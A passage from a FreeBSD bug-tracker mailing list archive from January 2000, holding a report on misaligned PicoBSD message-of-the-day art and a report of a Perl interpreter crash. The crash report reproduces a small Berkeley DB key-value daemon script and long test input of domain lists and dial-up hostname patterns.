2000 20:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 3559814DB4 for ; Mon, 3 Jan 2000 20:29:03 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <40331>; Tue, 4 Jan 2000 15:21:46 +1100 Message-Id: <00Jan4.152146est.40331@border.alcanet.com.au> Date: Tue, 4 Jan 2000 15:21:46 +1100 From: peter.jeremy@ALCATEL.COM.AU To: freefall-gnats@gsmx07.alcatel.com.au X-Send-Pr-Version: 3.2 Subject: misc/15876: PicoBSD message of the day problems Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15876 >Category: misc >Synopsis: PicoBSD message of the day problems >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 20:30:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Peter Jeremy >Release: FreeBSD 4.0-CURRENT i386 >Organization: Alcatel Australia Limited >Environment: Found in -stable (VER 0.445). Also present in -current >Description: The PicoBSD message-of-the-day (/etc/motd) is aligned assuming a 4-character version, but the current version has 5 characters, causing the daemon's eyes to be 1 column to the right. In addition, whilst the daemon picture looks good with white-on- block writing (which is the console default), it contains incorrect colour changes for black-on-white displays (eg most xterms). >How-To-Repeat: Display /usr/src/release/picobsd/net/lang/motd.en on an xterm with black writing on a white background. >Fix: I'm not sure how to change motd so that different version lengths are correctly handled (tabs may be an option here), but the following will correctly handle different background and foreground colours. (Also appended uuencoded since it includes raw ESC characters). diff -ur net/lang/motd.en custom/lang/motd.en --- net/lang/motd.en Fri Feb 5 23:19:31 1999 +++ custom/lang/motd.en Fri Sep 17 08:36:28 1999 @@ -1,10 +1,10 @@ -================================================== - )\_)\ -PicoBSD @VER@ (NET) (o,o) - __ \~/ -Welcome to PicoBSD! -->====\ - ~~ d d -You can find a short description of the picoBSD +=================================================== +  )\_)\  +PicoBSD @VER@ (Custom)  (o,o)  +  __ \~/  +Welcome to PicoBSD!  -->====\  +  ~~ d d  +You can find a short description of the  picoBSD  system in file /README. You can view it using "more /README". begin 644 motd.diff M9&EF9B`M=7(@;F5T+VQA;FRelease-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 22:40:29 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 0DE511509C for ; Mon, 3 Jan 2000 22:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id WAA91935; Mon, 3 Jan 2000 22:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from monkeys.com (i180.value.net [206.14.136.180]) by hub.freebsd.org (Postfix) with ESMTP id 09B4115080 for ; Mon, 3 Jan 2000 22:39:35 -0800 (PST) (envelope-from rfg@monkeys.com) Received: (from rfg@localhost) by monkeys.com (8.9.3/8.9.3) id WAA82901; Mon, 3 Jan 2000 22:39:33 -0800 (PST) Message-Id: <200001040639.WAA82901@monkeys.com> Date: Mon, 3 Jan 2000 22:39:33 -0800 (PST) From: "Ronald F. Guilmette" Reply-To: rfg@monkeys.com (Ronald F. Guilmette) To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15877: Perl 5.00503 interpreter crashes with a signal 11 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15877 >Category: bin >Synopsis: Perl 5.00503 interpreter crashes with a signal 11 >Confidential: yes >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 22:40:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Ronald F. Guilmette >Release: FreeBSD 3.3-RELEASE i386 >Organization: E-Scrub Technologies, inc. >Environment: Nothing special >Description: Executing the modest Perl script included below with the input data set included below, using the installed perl interpreter that came with FreeBSD 3.3 causes the interpreter to crash with a signal 11. NOTE: This Perl program is really intended as a a daemon server program which should normally be invoked via /etc/inetd.conf, however it has been slightly modified so that it can instead just be invoked from the command line and given input via stdin. I still see the Perl interpreter crashing even when the script is run in this manner, as long as the input data included below is given to the program on stdin. NOTE: This Perl program must be invoked with a minimum of two (2) command line arguments. The first must be the absolute pathname of a Berkeley DB file that the program will create when run. You can use, for example /tmp/foobar.db as the first command line argument. The second and subsequent command line arguments should be host names, but in this version of the script, that doesn't even matter, so just use something like "localhost" or "example.com". It really doesn't matter, just as long as you do supply at least two command line args. NOTE: You *must* use the test data/input supplied below in order to see the crash. I tried giving it different input data and then the Perl interpreter did not crash. >How-To-Repeat: cut here for Perl script (215 lines): ----------------------------------------------------------------------------- #!/usr/bin/perl use FileHandle; use Socket; use Sys::Syslog; use DB_File; use Errno; sub open_db { $db = tie (%h, "DB_File", $db_filename, O_RDWR|O_CREAT, 0666, $DB_HASH); if (not defined $db) { $errmsg = $!; syslog ("err", "Error while opening database: %s", $errmsg); print "500 Error while opening database: $errmsg\n"; exit 0; } } sub close_db { untie %h; } $pname = $0; $pname =~ s%^.*/%%; autoflush STDOUT 1; openlog ($pname, "pid", "daemon"); $db_filename = shift @ARGV; if (not defined $db_filename or $db_filename eq "") { $errmsg = $!; syslog ("crit", "Usage error: Database path not specified"); print "500 Usage error: Database path not specified\r\n"; exit 0; } if (not $db_filename =~ /^\//) { $errmsg = $!; syslog ("crit", "Usage error: Database path not absolute"); print "500 Usage error: Database path not absolute\r\n"; exit 0; } @source_domains = @ARGV; if ($#source_domains == -1) { $errmsg = $!; syslog ("crit", "Usage error: Source domain(s) not specified"); print "500 Usage error: Source domain(s) not specified\r\n"; exit 0; } for $index (0 .. $#source_domains) { if ($source_domains[$index] eq "") { syslog ("crit", "Usage error: Source domain is a null string"); print "500 Usage error: Source domain is a null string\r\n"; exit 0; } $source_domains[$index] =~ tr/A-Z/a-z/; } $sockaddr = getpeername STDIN; if (not defined $sockaddr) { goto processing if ($ERRNO == ENOTSOCK); $errmsg = $!; syslog ("err", "Error getting peer IP address: %s", $errmsg); print "500 Error getting peer IP address: $errmsg\r\n"; exit 0; } ($port, $ipaddr) = unpack_sockaddr_in ($sockaddr); $peerhostname = gethostbyaddr ($ipaddr, AF_INET); if (not defined $peerhostname) { $errmsg = $!; syslog ("warning", "Error getting peer hostname: %s", $errmsg); print "500 Error getting peer IP hostname: $errmsg\r\n"; exit 0; } $peerhostname =~ tr/A-Z/a-z/; for (@source_domains) { goto dom_matched if ($peerhostname eq $_ or $peerhostname =~ /\.$_$/); } syslog ("warning", "Connect from unauthorized host: %s", $peerhostname); print "500 Connect from unauthorized host: $peerhostname\r\n"; exit 0; dom_matched: $forward_ip = gethostbyname ($peerhostname); if (not defined $forward_ip) { syslog ("warning", "Invalid peer hostname: %s", $peerhostname); print "500 Invalid peer hostname: $peerhostname\r\n"; exit 0; } $ipstr = "[" . inet_ntoa ($ipaddr) . "]"; if ($forward_ip != $ipaddr) { syslog ("warning", "Forward DNS doesn't match: %s %s", $ipstr, $peerhostname); print "500 Forward DNS doesn't match: $ipstr $peerhostname\r\n"; exit 0; } processing: $lock_filename = $db_filename . ".lock"; $LOCK_SH = 1; $LOCK_EX = 2; $LOCK_NB = 4; $LOCK_UN = 8; if (not open (LOCKFILE, ">$lock_filename")) { $errmsg = $!; syslog ("err", "Error opening lock file: %s", $errmsg); print "500 Error opening lock file: $errmsg\r\n"; exit 0; } syslog ("notice", "Connect %s %s", $ipstr, $peerhostname); print "200 Connect $ipstr $peerhostname\r\n"; while () { tr/\r\n//d; m/^./; $_ = $&; $arg = $'; $_ =~ tr/a-z/A-Z/; if (/P/) { ($key, $value) = split /:/, $arg, 2; if ($key eq "") { print "500 Key may not be null\r\n"; } elsif (not defined $value) { print "500 Missing value\r\n"; } else { flock LOCKFILE, $LOCK_EX; open_db (); $status = $db->put ($key, $value); $errmsg = $!; close_db (); flock LOCKFILE, $LOCK_UN; if ($status) { print "500 Error: $errmsg\r\n"; } else { print "200 OK\r\n"; } } } elsif (/D/) { if ($arg eq "") { print "500 Key may not be null\r\n"; } else { flock LOCKFILE, $LOCK_EX; open_db (); $status = $db->del ($arg); $errmsg = $!; close_db (); flock LOCKFILE, $LOCK_UN; if ($status) { print "500 Error: $errmsg\r\n"; } else { print "200 OK\r\n"; } } } elsif (/Z/) { flock LOCKFILE, $LOCK_EX; $status = unlink $db_filename; flock LOCKFILE, $LOCK_UN; if ($status == -1) { print "500 Error: $errmsg\r\n"; } else { print "200 OK\r\n"; } } elsif (/G/) { if ($arg eq "") { print "500 Key may not be null\r\n"; } else { flock LOCKFILE, $LOCK_SH; open_db (); $status = $db->get ($arg, $value); $errmsg = $!; close_db (); flock LOCKFILE, $LOCK_UN; if ($status == -1) { print "500 Error: $errmsg\r\n"; } elsif ($status == 1) { print "500 Key not in database: $arg\r\n"; } else { print "200 $value\r\n"; } } } elsif (/S/) { flock LOCKFILE, $LOCK_SH; open_db (); while (1) { $status = $db->seq ($key, $value, R_NEXT); $errmsg = $!; last if ($status); print "200-$key:$value\r\n"; } close_db (); flock LOCKFILE, $LOCK_UN; if ($status == -1) { print "500 Error: $errmsg\r\n"; } else { print "200 OK\r\n"; } } elsif (/Q/) { print "200 OK\r\n"; exit 0; } else { print "500 Invalid command\r\n"; } } ----------------------------------------------------------------------------- Cut here for test input data: ---------------------------------------------------------------------------- Z PD.:ac ad ae af ag ai al am an ao aq ar as at au aw az ba bb bd be bf bg bh bi bj bm bn bo br bs bt bv bw by bz ca cc cd cf cg ch ci ck cl cm cn co com cr cu cv cx cy cz de dj dk dm do dz ec edu ee eg eh er es et fi fj fk fm fo fr ga gb gd ge gf gg gh gi gl gm gn gov gp gq gr gs gt gu gw gy hk hm hn hr ht hu id ie il im in int io iq ir is it je jm jo jp ke kg kh ki km kn kp kr kw ky kz la lb lc li lk lr ls lt lu lv ly ma mc md mg mh mil mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz na nc ne net nf ng ni nl no np nr nu nz om org pa pe pf pg ph pk pl pm pn pr pt pw py qa re ro ru rw sa sb sc sd se sg sh si sj sk sl sm sn so sr st su sv sy sz tc td tf tg th tj tk tm tn to tp tr tt tv tw tz ua ug uk um us uy uz va vc ve vg vi vn vu wf ws ye yt yu za zm zw PDac:com edu gov mil net org PDae:ac co com gov net org sch PDaf:army art arts com conf edu gov info int k12 ltd med net nom org plc rec school store web PDag:co com net org PDai:com edu gov off org PDal:com edu gov net org PDam:co com info ltd org PDao:co gov PDar:com edu gov int mil net org PDas:art arts bio com edu gov info int k12 ltd med net nom org rec store web PDat:ac co com edu gov gv info int net nom or org priv rec sch PDau:asn com conf edu gov id info int net org otc oz PDedu.au:sa PDgov.au:act nsw qld tas vic wa PDaz:baku co com edu net org PDba:gov net org PDbb:co com gov net org PDbe:ac fgov info mil PDbf:edu PDbh:com edu gov net org PDbm:art com edu gov net org PDbn:com edu net org PDbo:com edu gov int net org PDbr:adm adv arq art bio cng cnt com ecn eng esp etc eti fot fst g12 gov ind inf jor lel med mil net nom ntr odo org ppg pro psc psi rec tmp tur vet zlg PDbs:com edu gov net org PDbt:alt army art arts asn com conf edu gov info int k12 law ltd med net ngo nom org plc rec school store web PDbw:ac co PDby:ac com edu gomel gov minsk mogilev net org vitebsk PDbz:com edu gov net org PDca:ab bc gc law mb nb nf ns nt on pe police qc sci sk yk PDab.ca:calgary edmonton hanna leduc lethbridge st-albert PDbc.ca:abby esquimalt mission port-moody surrey victoria PDmb.ca:winnipeg PDns.ca:library newglasgow PDon.ca:brantford burlington edu halton-hills london nepean north-york oakville oshawa ottawa peterborough richmond-hill scarborough st-thomas stlawrencec sudbury toronto waterloo wellington woodstock PDqc.ca:levis montreal terrebonne PDsk.ca:pa saskatoon PDyk.ca:whitehorse PDch:ag ai ar be bl bs fr ge gl gr ju lu ne nw ow sg sh so sz tg ti ur vd vs zg zh PDci:ac co com ed go gouv gov int net or org PDck:co edu gov net org PDcl:art bbs com edu net org rec store PDcn:ac ah bj com cq edu fj gd gov gs gx gz ha hb he hi hk hl hn jl js jx ln mo net nm nx org qh sc sd sh sn sx tj tw xj xz yn zj PDco:arts com edu gov info int mil net nom org rec web PDcr:ac co ed fi go or sa PDcu:com edu gov inf net org PDcx:adv army art etc fed go gob govt intl k12 law ltd navy priv tec PDcy:ac com gov net org PDcz:art bio go ltd ngo plc PDde:d400 intl PDdm:co com edu org PDdo:art com edu gov mil net org rec sld web PDdz:com edu net org PDec:com ecx edu fin gov int k12 med mil net org PDee:edu gov inf org PDeg:com edu eun gov net org sci PDer:com edu gov net org PDes:gob PDet:net PDfi:edu gen mil pp PDfj:ac com gov id org school PDfk:ac co gov net nom org PDfm:co or PDfo:co com edu gov md ne net org pr re sc tm PDfr:asso gouv tm PDga:co gouv sci PDgb:hmg PDgd:co com edu net org PDge:com edu gov mil net org pvt PDgg:ac alderney co gov guernsey ind ltd net org sark sch PDgh:com edu gov mil org PDgi:com edu gov ltd net org plc sch PDgl:com edu go gov net org PDgn:ac com gov net org PDgov:arsusda cpsc dot hawaii jccbi nasa nmfs nysed or osis plano texas PDgr:art com edu net org tec web PDgs:arts co com edu gov ltd md nom org re rec store PDgt:com edu gob net org PDgu:com edu gov mil net org web PDgy:co com edu gov net org PDhk:com edu gov net org PDhn:com edu gob gov org PDhr:art school PDhu:co info nui org priv tm PDid:ac co go mil net or PDil:ac co gov idf k12 muni net org PDim:ac co gov net org PDin:ac co gov net org res PDint:eu PDio:com edu gov net org PDir:ac co gov net or PDis:pp PDit:fvg padova pd piza roma veneto venice web PDje:ac co gov ind jersey ltd net org sch PDjm:co com edu gov net org PDjo:com edu gov net org PDjp:ac ad aichi akita aomori chiba co ed ehime fukui fukuoka fukushima gifu go gr gunma hiroshima hokkaido hyogo ibaraki ishikawa iwate kagawa kagoshima kanagawa kawasaki kitakyushu kobe kochi kumamoto kyoto mie miyagi miyazaki nagano nagasaki nagoya nara ne niigata oita okayama okinawa or osaka saga saitama sapporo sendai shiga shimane shizuoka tochigi tokushima tokyo tottori toyama wakayama yamagata yamaguchi yamanashi yokohama PDke:ac co go or PDkg:co com edu gov info net org PDkh:com edu gov net org PDki:com edu gov net org PDkn:com edu gov org PDkr:ac cheju chonbuk chonnam chungbuk chungnam co es go hs inchon kangwon kwangju kyongbuk kyonggi kyongnam ms ne nm or pe pusan re sc seoul taegu taejon ulsan PDchungbuk.kr:ed PDkw:com edu gov net org PDkz:com ed edu gov net org sci PDla:com edu gov net org PDlb:ac com edu gov mil net org PDlc:co com edu gov net org PDli:com gov net org PDlk:ac com gov sc PDlr:gov org PDls:gov org PDlt:ac co go re PDlu:ac co com edu gen gouv gov info law school store tm PDlv:art asn com conf edu gov id law mil net or org pp school store web PDly:com net org PDma:ac co gov net org PDmc:asso tm PDmil:af army dla doded dsm jcs js navy nipr southcom PDmk:com edu gov net org PDml:net PDmm:com edu gov net org PDmn:com edu gov net org PDmo:com edu gov net org PDms:co com gov info int law ltd md or org re school store PDmt:com edu gov net org tm uu PDmu:ac co net org PDmv:com edu gov net org PDmw:co org PDmx:com edu gob net org PDmy:com edu gov net org pc pl po PDmz:co gov org PDna:alt com edu gov net org PDnc:asso co com net org PDnf:com edu net org PDng:ac com edu gov net org PDni:com edu gob net org PDnl:ac art arts bbs co com edu gov int net org school web PDno:aa ah bbs bu etc fhs fm folkebibl fylkesbibl hl hm idrett kommune mil mr museum nl nt of ol oslo priv rl sf st stat tm tr va vf vgs PDnp:com edu gov net org PDnr:net PDnu:ac arts bbs bio go info int ltd med ne nom or plc pr re rec res school store tm PDnz:ac co cri gen govt mil net org school PDom:co com edu gov net org PDpa:ac com edu gob net or org sld PDpe:com edu gob net org PDpf:gov PDpg:ac com gov net org PDph:com edu gov mil net ngo org PDpk:com edu gov net org web PDpl:bialystok bielsko bydgoszcz com edu gda gdynia gliwice go gov info katowice kielce krakow law legnica lodz ltd lublin med mil net nom olsztyn opole org poznan priv szczecin tm torun waw wroc zabrze zgora PDlodz.pl:p PDpn:com net org PDpr:com edu gov net org PDpt:gov PDpw:com PDpy:com edu gov net org PDqa:com edu gov net org PDro:arts com edu gov info int med nom org rec store tm PDru:ac adygeya altai amur amursk arkhangelsk army astrakhan baikal bashkiria belgorod bir bryansk buriatia buryatia cbg chel chelyabinsk chita chukotka chuvashia cmw com dagestan dudinka e-burg edu etc fareast grozny irkutsk ivanovo izhevsk jamal jar joshkar-ola k-uralsk kalmykia kaluga kamchatka karelia kazan kchr kemerovo khabarovsk khakassia khv kirov kms koenig komi kostroma krasnoyarsk kuban kurgan kursk kustanai kuzbass lipetsk magadan magnitka mari mari-el marine mordovia msk murmansk mytis nakhodka nalchik net nkz nnov norilsk nov novosibirsk nsk omsk orenburg org oryol oskol palana penza perm pp pskov ptz pyatigorsk rnd rubtsovsk ryazan sakhalin samara saratov simbirsk smolensk spb stavropol stv surgut syzran tambov tatarstan tom tomsk tsaritsyn tsk tula tuva tver udm udmurtia ulan-ude vdonsk vladikavkaz vladimir vladivostok volgograd vologda voronezh vrn vyatka yakutia yamal yaroslavl yekaterinburg yuzhno-sakhalinsk zgrad PDsa:com edu gov med net org sch PDsb:com edu gov net org PDsc:com org PDsd:net PDse:a ac com d e gov m mil n o police pp stockholm PDsg:ac com edu gov net org PDsh:art co com edu gov law md ne net nom org pr re sc store tm web PDsi:gov sik PDsk:art inf info ltd net ngo store PDsl:com edu gov org PDsn:co org PDso:ac PDsr:gov info PDsu:altai ashgabad astrakhan bashkiria bishkek bryansk chel chita dubna e-burg irkutsk ivanovo kamchatka karelia kazan kemerovo khabarovsk koenig krasnoyarsk kuban lipetsk magadan mari moldova mordovia msk murmansk nnov nov nsk obninsk omsk oryol penza perm pskov pyatigorsk rnd samara saratov serpukhov simbirsk sochi spb tambov togliatti tomsk tsaritsyn tyumen udmurtia vladimir vologda voronezh vyatka yakutia yaroslavl zgrad PDsv:co com edu gob net org PDsy:com net org PDsz:co org PDtc:army art co gov law ltd md or org re store PDtf:ac arts co com edu gov law ltd md org plc pr re store PDtg:net PDth:ac co go net or PDtj:adv art med PDtm:army arts bio co com go govt info int ltd md ne net nom or org pr re rec sc store web PDtn:com edunet ens fin gov ind info intl med nat net org rnrt rns rnu tourism PDto:bbs com gov govt net nm org otc re sch store tec PDtp:com gov net org PDtr:bbs com edu gen gov k12 mil net nom org PDtt:co com edu gov net nom org PDtw:com edu gov net org PDgov.tw:taipei PDtz:ac co go ne or PDua:com crimea cv dn dnepropetrovsk donetsk dp gov if kharkov kherson kiev lg lugansk lutsk lviv mk net nikolaev odessa org poltava rovno rv sumy ta te ternopil uzhgorod vinnica zaporizhzhe zhitomir zt PDte.ua:bit edu PDternopil.ua:bit gov home ssft PDug:ac co go or PDuk:ac co gov govt ltd mod net nhs org plc police sch PDus:ak al ar as az ca co ct dc de dni fed fl fm ga gu hi ia id il in isa ks ky la ma md me mh mi mn mo mp ms mt nc nd ne nh nj nm nsn nv ny oh ok or pa pr pw ri sc sd tn tx ut va vi vt wa wi wv wy PDak.us:k12 PDal.us:cc k12 PDk12.al.us:pvt PDar.us:cc k12 lib PDk12.ar.us:nwsc PDaz.us:cc k12 pima tucson PDk12.az.us:pvt PDca.us:alameda burbank burlingame camarillo cc cerritos cog dst fairfield k12 lib mission-viejo mtnview oakland palo-alto sacramento san-joaquin san-jose san-marino sanmateo santa-cruz santee sf sj slo state sunnyvale tec tujunga walnut-creek PDk12.ca.us:pvt PDco.us:aurora boulder cc colospgs fort-collins k12 tec PDk12.co.us:pvt PDct.us:k12 PDk12.ct.us:pvt PDdc.us:k12 PDk12.dc.us:pvt PDde.us:k12 PDk12.de.us:pvt PDfl.us:alachua cc coconut-creek k12 lib orlando palm-beach pinellas polk santa-rosa seminole PDk12.fl.us:pvt PDga.us:cc k12 lib PDhi.us:cc k12 PDk12.hi.us:pvt PDia.us:cc k12 polk state PDk12.ia.us:pvt PDid.us:bannock boise bonneville cc k12 PDk12.id.us:pvt PDil.us:cc k12 lib PDk12.il.us:pvt PDin.us:cc k12 lafayette lib tec PDk12.in.us:pvt PDks.us:cc k12 lib PDk12.ks.us:pvt PDky.us:cc k12 lib PDk12.ky.us:pvt PDla.us:cc k12 shreveport st-tammany state PDk12.la.us:pvt PDma.us:k12 lexington lib shrewsbury waltham PDk12.ma.us:pvt PDmd.us:cc dst gaithersburg ha k12 mo rockville state PDk12.md.us:pvt PDme.us:cc k12 PDk12.me.us:pvt PDmi.us:cc detroit k12 lib PDk12.mi.us:pvt PDmn.us:anoka cc duluth hennepin k12 lib msp stpaul waseca PDk12.mn.us:pvt PDmo.us:cc columbia gen k12 kansas-city lib state PDk12.mo.us:pvt PDms.us:cc lib state PDmt.us:cc k12 PDk12.mt.us:pvt PDnc.us:caldwell cc charlotte cleveland dst durham forsyth greensboro haywood k12 lib rowan state winston-salem PDk12.nc.us:pvt PDnd.us:cc k12 PDk12.nd.us:pvt PDne.us:cc douglas k12 lib lincoln state PDnh.us:k12 lib state PDnj.us:cc k12 lib monmouth tec PDk12.nj.us:pvt PDnm.us:cc k12 lib mus tec PDnv.us:cc henderson k12 state PDk12.nv.us:pvt PDny.us:briarwood broome buffalo cc k12 orange oswego state westchester PDoh.us:akron canton cc cleveland columbus fairlawn franklin gen k12 lib summit toledo washington-ch waverly PDk12.oh.us:pvt PDok.us:cc k12 lib norman okc state tec PDk12.ok.us:pvt PDor.us:benton cc clackamas cog douglas hillsboro k12 lane medford PDk12.or.us:pvt PDpa.us:cc delaware k12 PDk12.pa.us:pvt PDri.us:state PDsc.us:greenville k12 tec PDsd.us:cc k12 rapid-city PDk12.sd.us:pvt PDtn.us:cc k12 lib nashville tec PDtx.us:bryan carrollton cc dallas dst dumas garland guadalupe harris k12 lib lubbock lufkin mclennan montgomery odessa san-marcos state travis PDstate.tx.us:tea PDut.us:k12 slc tec weber PDk12.ut.us:pvt PDva.us:cc charlottesville chesterfield henrico k12 lib prince-william warrenton PDvt.us:k12 PDk12.vt.us:pvt PDwa.us:cc cowlitz edmonds island k12 lib longview pacific sea seattle skagit whatcom yakima PDwi.us:chippewa k12 madison marathon sauk tec PDk12.wi.us:pvt PDwv.us:cc k12 PDk12.wv.us:pvt PDwy.us:cc k12 sheridan PDuy:com edu gub net org PDuz:ac co com edu net org PDvc:com gov net org PDve:arts bbs bib co com edu firm gov info int mil mom net nom org rec store tec web PDvg:art arts co com govt law ltd md or org re res store PDvi:ac co k12 net org PDvn:ac com edu gov net org PDvu:com edu gov net org web PDws:edu PDyu:ac co edu gov org PDza:ac alt co edu gov law mil net ngo nom org school tm web PDzm:ac co com gov org sch PDzw:ac co gov org PN01019freenet.de:^ppp[0-9]+$; PN110.net:^host[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\.tnt-[0-9]+\.[a-z]+$; PN1s.net:^channel[0-9]+$; PN1stclassdirect.com:^1st[0-9]+$; PN1stconnect.com:^[0-9]+$; PN1stnetusa.com:^[a-z]+_mdm[0-9]+$; PN2fords.net:^log[0-9]+$; PN2xtreme.net:^p[0-9]+\.[a-z][a-z][a-z][0-9]+$; PN3ace.net:^dialin-.+$; PN3web.net:^[a-z]+ppp[0-9]+$; PN4d.net:^net[0-9]+-[0-9]+$;^net[0-9]+-[0-9]+-ip[0-9]+$; PN4link.net:^.+\.dialup$; PNa-znet.com:^(dialc|syr)[0-9]+$; PNa1pro.net:^a[0-9]+pro-net[0-9]+$; PNaa.net:^cust[0-9]+\.max[0-9]+\.[a-z-]+[0-9]+$; PNaan.net:^ppp[0-9]+$; PNabac.net:^sd-ppp-[0-9]+$; PNabm.de:^abm[0-9]+$; PNabq.com:^ros[0-9]+$; PNabs.net:^.+\.dial-up$; PNabts.net:^ppp-.+$; PNacadiacom.net:^n[0-9]+$;^ppp[0-9]+$; PNacbm.qc.ca:^acbm[0-9]+$; PNaccess.net.il:^r-g-[0-9]+-[0-9]+$; PNaccess1.net:^[a-z]+(-?[0-9]+)?-[0-9]+\.[a-z]+$; PNaccesscable.net:^cdr[0-9]+-[0-9]+$; PNaccesschicago.net:^.+\.ppp$; PNaccessone.com:^[a-z]+[0-9]+-[0-9]+$; PNaccesspro.net:^m[0-9]+$;^w[0-9]+$; PNacd.net:^[a-z]+[0-9]+-[0-9]+$; PNacelink.net:^ppp[0-9]+$; PNacessonet.com.br:^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+-as$; PNacnet.net:^ppp.+$; PNactcom.co.il:^p[0-9]+\.[a-z]+[0-9]+$; PNactionweb.net:^remote[0-9]+$; PNactionwebs.net:^customer-[0-9]+$; PNacunet.net:^xpool[0-9]+$; PNadam.com.au:^tiger[0-9]+a-[0-9]+$; PNadcomsys.net:^dial[0-9]+$; PNadelphia.net:^dynamic.+$; PNadgrafix.com:^meeny$;^myers$; PNadinet.com.uy:^r[0-9]+-[0-9]+$; PNadnc.com:^adnline[0-9]+$;^adnline[0-9]+-[0-9]+$; PNados.com:^line[0-9]+\.[a-z]+$; PNadvancenet.net:^ts[0-9]+-[0-9]+$; PNadvanix.net:^ts[0-9]+-[0-9]+$; PNadvdata.net:^adn-[a-z]+-du[0-9]+-ppp[0-9]+$; PNaebc.com:^[0-9]+$; PNaei.net:^ppp-.+$; PNafcon.net:^afcon-dyn[0-9]+$; PNagis.net:^.+-ppp-.+$; PNagisdial.net:^[0-9]+-pool[0-9]+\.ras[0-9]+\..+$; PNagoron.com:^rem[0-9]+$; PNagt.net:^[a-z]+[0-9]+-port-[0-9]+$; PNagwi.net:^ppt[0-9]+$; PNai.com:^di[0-9]+$; PNaibusiness.net:^ip[0-9]+-sf$; PNaka.fi:^aka[0-9]+$; PNaksi.net:^(ma|ua)-[0-9]+$; PNalaweb.com:^.+-ppp[0-9]+$; PNalgonet.se:^.+\.ppp$; PNalltel.net:^[a-z]+[0-9]+pp[0-9]+$; PNaloha.net:^[a-z]+([0-9]+)?-[0-9]+\.(u|gst)$; PNalphan.net:^user[0-9]+$; PNalter.net:^[0-9]+cust[0-9]+\.max[0-9]+\.ffx[0-9]+\.[a-z]+$; PNaltinet.net:^[0-9]+altinet[0-9]+$; PNamanet.net:^ppp-.+$; PNamaonline.com:^dialup-.+$;^dial-.+$; PNamcham.com.br:^d[0-9]+p[0-9]+$; PNamer.net:^.+-dialup-[0-9]+$; PNamerica.net:^max[0-9]+-[0-9]+(\.dial)?$;^tnt[0-9]+-[0-9]+$; PNameritech.net:^dyn[0-9]+-tnt[0-9]+-[0-9]+\.[a-z]+\.[a-z]+$; PNameritel.net:^max[0-9]+-ip[0-9]+$; PNami.net:^.+\.dialup$; PNamis.net:^.+\.dialup$; PNampsc.com:^dial[0-9]+$; PNamtc.net:^lal[0-9]+$; PNamug.org:^d[0-9]+-ts[0-9]+$; PNanc.net:^max[0-9]+-[a-z][a-z]-[0-9]+\.[a-z]+$; PNandonet.com:^port[0-9]+$; PNanet-dfw.com:^[a-z]+-vd[0-9]+-[0-9]+$; PNans.com.au:^dm[0-9]+$; PNanv.net:^(max|tnt)[0-9]+-[0-9]+$; PNao.net:^(dyn|port)[0-9]+\.(max|tserver)[0-9]+$; PNaol.com:^.+\.ipt$; PNapex.net:^pm[0-9]+-[0-9]+-[0-9]+$; PNapk.net:^as[0-9]+-[0-9]+\..+$; PNapplink.net:^56k-[0-9]+-[0-9]+$;^ts[0-9]+-[0-9]+-[0-9]+$; PNapt.net:^.+\.dialup$; PNaquanet.co.il:^ppp.+$; PNarbbs.net:^max[0-9]+-[0-9]+$; PNarcor-ip.net:^[a-z]+di[0-9]+-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNardennet.com:^d[0-9]+$; PNargohouston.com:^.+-du[0-9]+$; PNargolink.net:^argo[0-9]+-du[0-9]+$; PNark.com:^na[0-9]+p[0-9]+$; PNarn.net:^pm[0-9]+-[0-9]+[a-z]-[0-9]+\.[a-z]+$; PNaros.net:^dm[0-9]+-[0-9]+\.slc$; PNarrowsmith.net:^line[0-9]+\.port$; PNartnet.net:^[a-z]+-ppp[0-9]+$;^ppp.+$; PNasiainter.net:^port[0-9]+$;^port[0-9]+-[0-9]+$; PNasiaonline.net:^ip[0-9]+-[0-9]+$; PNasq.org:^eth[0-9]+-[0-9]+$; PNasr.net:^adup[0-9]+$; PNastat.de:^dialin-[0-9]+$; PNaston.ac.uk:^cspent[0-9]+$; PNathenenet.co.uk:^t[0-9]+$; PNathenet.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.core[0-9]+\.apl$; PNatlantech.net:^dialup[0-9]+$; PNatlantic.net:^[a-z]+-[ta]s-[0-9]+(-ip-|x|-)[0-9]+$; PNatlcom.net:^usr[0-9]+-[0-9]+$; PNatlonline.com:^usr[0-9]+$; PNatnet.cz:^pppn[0-9]+$; PNatt.ne.jp:^[0-9]+\.pool[0-9]+\.[a-z]+$; PNatt.net:^.+\.dial-access$; PNatt.net.hk:^ppp[0-9]+-[0-9]+$; PNattcanada.net:^d[0-9]+-[a-z][a-z][0-9]+(h[0-9]+)?-[a-z-]+$; PNau.com:^dup[0-9]+\.dns$; PNauracom.com:^ts[0-9]+-d[0-9]+\.[a-z]+$; PNaustronet.at:^nac[0-9]+\.[a-z]+$; PNautonet.net:^.+\.dialup$; 